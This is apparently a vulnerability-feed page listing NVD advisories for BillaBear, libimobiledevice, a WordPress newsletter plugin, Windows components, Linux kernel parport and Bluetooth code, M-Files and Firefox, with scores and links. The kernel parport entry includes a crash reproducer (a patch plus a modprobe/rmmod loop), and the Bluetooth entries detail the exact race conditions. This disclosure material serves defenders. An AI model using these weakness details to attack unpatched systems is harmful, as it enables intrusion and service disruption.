Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in BillaBear up to 2025.01.03. Affected by this issue is the function processInstall of the file src/BillaBear/Controller/InstallController.php of...
https://kevwire.com/record/CVE-2026-116257
A vulnerability was determined in BillaBear up to 2025.01.03. Affected by this issue is the function processInstall of the file src/BillaBear/Controller/InstallController.php of... (Oct 26, 2026).
A vulnerability was determined in BillaBear up to 2025.01.03. Affected by this issue is the function processInstall of the file src/BillaBear/Controller/InstallController.php of the component Installation Handler. This manipulation causes missing authentication. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116257).
Sources:
NVD CVE-2026-116257: https://nvd.nist.gov/vuln/detail/CVE-2026-116257
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability was determined in BillaBear up to 2025.01.03. Affected by this issue is the function processInstall of the file src/BillaBear/Controller/InstallController.php of the component Installation Handler. This manipulation causes missing authentication. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in libimobiledevice up to 1.4.0. This issue affects the function service_receive of the file src/afc.c of the component AFC Service.
https://kevwire.com/record/CVE-2026-116260
A weakness has been identified in libimobiledevice up to 1.4.0. This issue affects the function service_receive of the file src/afc.c of the component AFC Service. (Oct 26, 2026).
A weakness has been identified in libimobiledevice up to 1.4.0. This issue affects the function service_receive of the file src/afc.c of the component AFC Service. Executing a manipulation can lead to double free. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116260).
Sources:
NVD CVE-2026-116260: https://nvd.nist.gov/vuln/detail/CVE-2026-116260
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A weakness has been identified in libimobiledevice up to 1.4.0. This issue affects the function service_receive of the file src/afc.c of the component AFC Service. Executing a manipulation can lead to double free. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a through 4.18.1.
https://kevwire.com/record/CVE-2026-94075
Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a through 4.18.1. (Oct 24, 2026).
Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a through 4.18.1.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94075).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94075&date=2026-10-25).
Sources:
NVD CVE-2026-94075: https://nvd.nist.gov/vuln/detail/CVE-2026-94075
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94075&date=2026-10-25
Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a through 4.18.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Windows Registry allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83927
Improper link resolution before file access ('link following') in Windows Registry allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Windows Registry allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83927).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83927&date=2026-10-25).
Sources:
NVD CVE-2026-83927: https://nvd.nist.gov/vuln/detail/CVE-2026-83927
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83927
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83927&date=2026-10-25
Improper link resolution before file access ('link following') in Windows Registry allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: parport: Fix race between port and client registration
https://kevwire.com/record/CVE-2026-63942
Linux kernel: parport: Fix race between port and client registration (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

parport: Fix race between port and client registration

The parport subsystem registers port devices before they are fully
initialised, resulting in a race condition where client drivers such
as lp can attach to ports that are not completely initialised or even
being torn down.

When the port and client drivers are built as modules and loaded
around the same time during boot, this occasionally results in a
crash.  I was able to make this happen reliably in a VM with a
PC-style parallel port by patching parport_pc to fail probing:

> --- a/drivers/parport/parport_pc.c
> +++ b/drivers/parport/parport_pc.c
> @@ -2069,7 +2069,7 @@ static struct parport *__parport_pc_probe_port(unsigned long int base,
>  	if (!p)
>  		goto out3;
>
> -	base_res = request_region(base, 3, p->name);
> +	base_res = NULL;
>  	if (!base_res)
>  		goto out4;
>

and then running:

    while true; do
        modprobe lp & modprobe parport_pc
	wait
	rmmod lp parport_pc
    done

for a few seconds.

In the long term I think port registration should be changed to put
the call to device_add() inside parport_announce_port(), but since the
latter currently cannot fail this will require changing all port
drivers.

For now, add a flag to indicate whether a port has been "announced"
and only try to attach client drivers to ports when the flag is set.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63942).
Sources:
NVD CVE-2026-63942: https://nvd.nist.gov/vuln/detail/CVE-2026-63942
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
In the Linux kernel, the following vulnerability has been resolved:

parport: Fix race between port and client registration

The parport subsystem registers port devices before they are fully
initialised, resulting in a race condition where client drivers such
as lp can attach to ports that are not completely initialised or even
being torn down.

When the port and client drivers are built as modules and loaded
around the same time during boot, this occasionally results in a
crash.  I was able to make this happen reliably in a VM with a
PC-style parallel port by patching parport_pc to fail probing:

> --- a/drivers/parport/parport_pc.c
> +++ b/drivers/parport/parport_pc.c
> @@ -2069,7 +2069,7 @@ static struct parport *__parport_pc_probe_port(unsigned long int base,
>  	if (!p)
>  		goto out3;
>
> -	base_res = request_region(base, 3, p->name);
> +	base_res = NULL;
>  	if (!base_res)
>  		goto out4;
>

and then running:

    while true; do
        modprobe lp & modprobe parport_pc
	wait
	rmmod lp parport_pc
    done

for a few seconds.

In the long term I think port registration should be changed to put
the call to device_add() inside parport_announce_port(), but since the
latter currently cannot fail this will require changing all port
drivers.

For now, add a flag to indicate whether a port has been "announced"
and only try to attach client drivers to ports when the flag is set.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: Bluetooth: hci_sync: fix UAF in hci_le_create_cis_sync
https://kevwire.com/record/CVE-2026-63944
Linux kernel: Bluetooth: hci_sync: fix UAF in hci_le_create_cis_sync (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: hci_sync: fix UAF in hci_le_create_cis_sync

hci_le_create_cis_sync() dereferences conn->conn_timeout after releasing
both rcu_read_lock() and hci_dev_lock(hdev).  The conn pointer was
obtained from an RCU-protected iteration over hdev->conn_hash.list and
is not valid once these locks are dropped.  A concurrent disconnect can
free the hci_conn between the unlock and the dereference, causing a
use-after-free read.

The cancellation mechanism in hci_conn_del() cannot prevent this because
hci_le_create_cis_pending() queues hci_create_cis_sync with data=NULL:

    hci_cmd_sync_queue(hdev, hci_create_cis_sync, NULL, NULL);

While hci_conn_del() dequeues with data=conn:

    hci_cmd_sync_dequeue(hdev, NULL, conn, NULL);

Since NULL != conn, the lookup in _hci_cmd_sync_lookup_entry() never
matches, and the pending work item is not cancelled.

Fix this by saving conn->conn_timeout into a local variable while the
locks are still held, so the stale conn pointer is never dereferenced
after unlock.

This is the same class of bug as the one fixed by commit 035c25007c9e
("Bluetooth: hci_sync: Fix UAF on le_read_features_complete") which
addressed the identical pattern in a different function.

This vulnerability was identified using 0sec.ai, an open-source
automated security auditing platform (https://github.com/0sec-labs).
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63944).
Sources:
NVD CVE-2026-63944: https://nvd.nist.gov/vuln/detail/CVE-2026-63944
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: hci_sync: fix UAF in hci_le_create_cis_sync

hci_le_create_cis_sync() dereferences conn->conn_timeout after releasing
both rcu_read_lock() and hci_dev_lock(hdev).  The conn pointer was
obtained from an RCU-protected iteration over hdev->conn_hash.list and
is not valid once these locks are dropped.  A concurrent disconnect can
free the hci_conn between the unlock and the dereference, causing a
use-after-free read.

The cancellation mechanism in hci_conn_del() cannot prevent this because
hci_le_create_cis_pending() queues hci_create_cis_sync with data=NULL:

    hci_cmd_sync_queue(hdev, hci_create_cis_sync, NULL, NULL);

While hci_conn_del() dequeues with data=conn:

    hci_cmd_sync_dequeue(hdev, NULL, conn, NULL);

Since NULL != conn, the lookup in _hci_cmd_sync_lookup_entry() never
matches, and the pending work item is not cancelled.

Fix this by saving conn->conn_timeout into a local variable while the
locks are still held, so the stale conn pointer is never dereferenced
after unlock.

This is the same class of bug as the one fixed by commit 035c25007c9e
("Bluetooth: hci_sync: Fix UAF on le_read_features_complete") which
addressed the identical pattern in a different function.

This vulnerability was identified using 0sec.ai, an open-source
automated security auditing platform (https://github.com/0sec-labs).

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: Bluetooth: ISO: serialize iso_sock_clear_timer with socket lock
https://kevwire.com/record/CVE-2026-63945
Linux kernel: Bluetooth: ISO: serialize iso_sock_clear_timer with socket lock (Jul 19, 2026).
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: ISO: serialize iso_sock_clear_timer with socket lock

iso_sock_close() calls iso_sock_clear_timer() before acquiring
lock_sock(sk).

iso_sock_clear_timer() reads iso_pi(sk)->conn twice without the
socket lock held:

    if (!iso_pi(sk)->conn)
        return;
    cancel_delayed_work(&iso_pi(sk)->conn->timeout_work);

Concurrently, iso_conn_del() executes under lock_sock(sk) and calls
iso_chan_del(), which sets iso_pi(sk)->conn to NULL and may result in
the final reference to the connection being dropped:

    CPU0                         CPU1
    ----                         ----
    iso_sock_clear_timer()
      if (conn != NULL) ...      lock_sock(sk)
                                   iso_chan_del()
                                   iso_pi(sk)->conn = NULL
      cancel_delayed_work(conn)  /* NULL deref or UAF */

iso_pi(sk)->conn is not stable across the unlock window, causing a
NULL pointer dereference or use-after-free.

Serialize iso_sock_clear_timer() with the socket lock by moving it
inside lock_sock()/release_sock(), matching the pattern used in
iso_conn_del() and all other call sites.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63945).
Sources:
NVD CVE-2026-63945: https://nvd.nist.gov/vuln/detail/CVE-2026-63945
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: ISO: serialize iso_sock_clear_timer with socket lock

iso_sock_close() calls iso_sock_clear_timer() before acquiring
lock_sock(sk).

iso_sock_clear_timer() reads iso_pi(sk)->conn twice without the
socket lock held:

    if (!iso_pi(sk)->conn)
        return;
    cancel_delayed_work(&iso_pi(sk)->conn->timeout_work);

Concurrently, iso_conn_del() executes under lock_sock(sk) and calls
iso_chan_del(), which sets iso_pi(sk)->conn to NULL and may result in
the final reference to the connection being dropped:

    CPU0                         CPU1
    ----                         ----
    iso_sock_clear_timer()
      if (conn != NULL) ...      lock_sock(sk)
                                   iso_chan_del()
                                   iso_pi(sk)->conn = NULL
      cancel_delayed_work(conn)  /* NULL deref or UAF */

iso_pi(sk)->conn is not stable across the unlock window, causing a
NULL pointer dereference or use-after-free.

Serialize iso_sock_clear_timer() with the socket lock by moving it
inside lock_sock()/release_sock(), matching the pattern used in
iso_conn_del() and all other call sites.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83928
Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83928).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83928&date=2026-10-25).
Sources:
NVD CVE-2026-83928: https://nvd.nist.gov/vuln/detail/CVE-2026-83928
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83928
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83928&date=2026-10-25
Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows GDI allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83929
Out-of-bounds write in Windows GDI allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in Windows GDI allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83929).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83929&date=2026-10-25).
Sources:
NVD CVE-2026-83929: https://nvd.nist.gov/vuln/detail/CVE-2026-83929
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83929
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83929&date=2026-10-25
Out-of-bounds write in Windows GDI allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83930
Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83930).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83930&date=2026-10-25).
Sources:
NVD CVE-2026-83930: https://nvd.nist.gov/vuln/detail/CVE-2026-83930
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83930
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83930&date=2026-10-25
Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-83931
Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83931).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83931&date=2026-10-25).
Sources:
NVD CVE-2026-83931: https://nvd.nist.gov/vuln/detail/CVE-2026-83931
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83931
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83931&date=2026-10-25
Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Group Policy allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83932
Heap-based buffer overflow in Windows Group Policy allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Group Policy allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83932).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83932&date=2026-10-25).
Sources:
NVD CVE-2026-83932: https://nvd.nist.gov/vuln/detail/CVE-2026-83932
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83932
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83932&date=2026-10-25
Heap-based buffer overflow in Windows Group Policy allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Denial-of-service condition in M-Files Server versions before 26.5.16015.0, before 26.2 LTS, and before 25.8 LTS SR3 allows an authenticated user to cause the MFserver process to...
https://kevwire.com/record/CVE-2026-0983
Denial-of-service condition in M-Files Server versions before 26.5.16015.0, before 26.2 LTS, and before 25.8 LTS SR3 allows an authenticated user to cause the MFserver process to... (May 18, 2026).
Denial-of-service condition in M-Files Server versions before 26.5.16015.0, before 26.2 LTS, and before 25.8 LTS SR3 allows an authenticated user to cause the MFserver process to crash
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0983).
Sources:
NVD CVE-2026-0983: https://nvd.nist.gov/vuln/detail/CVE-2026-0983
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Denial-of-service condition in M-Files Server versions before 26.5.16015.0, before 26.2 LTS, and before 25.8 LTS SR3 allows an authenticated user to cause the MFserver process to crash

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use-after-free in the Graphics: WebGPU component.
https://kevwire.com/record/CVE-2026-12293
Use-after-free in the Graphics: WebGPU component. (Jun 16, 2026).
Use-after-free in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 152 and Thunderbird 152.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12293).
Sources:
NVD CVE-2026-12293: https://nvd.nist.gov/vuln/detail/CVE-2026-12293
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Use-after-free in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 152 and Thunderbird 152.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape in the DOM: Workers component.
https://kevwire.com/record/CVE-2026-12294
Sandbox escape in the DOM: Workers component. (Jun 16, 2026).
Sandbox escape in the DOM: Workers component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37, Thunderbird 152, and Thunderbird 140.12.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12294).
Sources:
NVD CVE-2026-12294: https://nvd.nist.gov/vuln/detail/CVE-2026-12294
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Sandbox escape in the DOM: Workers component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37, Thunderbird 152, and Thunderbird 140.12.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sandbox escape in the DOM: Navigation component.
https://kevwire.com/record/CVE-2026-12295
Sandbox escape in the DOM: Navigation component. (Jun 16, 2026).
Sandbox escape in the DOM: Navigation component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37, Thunderbird 152, and Thunderbird 140.12.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12295).
Sources:
NVD CVE-2026-12295: https://nvd.nist.gov/vuln/detail/CVE-2026-12295
Vendor advisory (via NVD references): https://www.mozilla.org/security/advisories/mfsa2026-57/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
Sandbox escape in the DOM: Navigation component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37, Thunderbird 152, and Thunderbird 140.12.

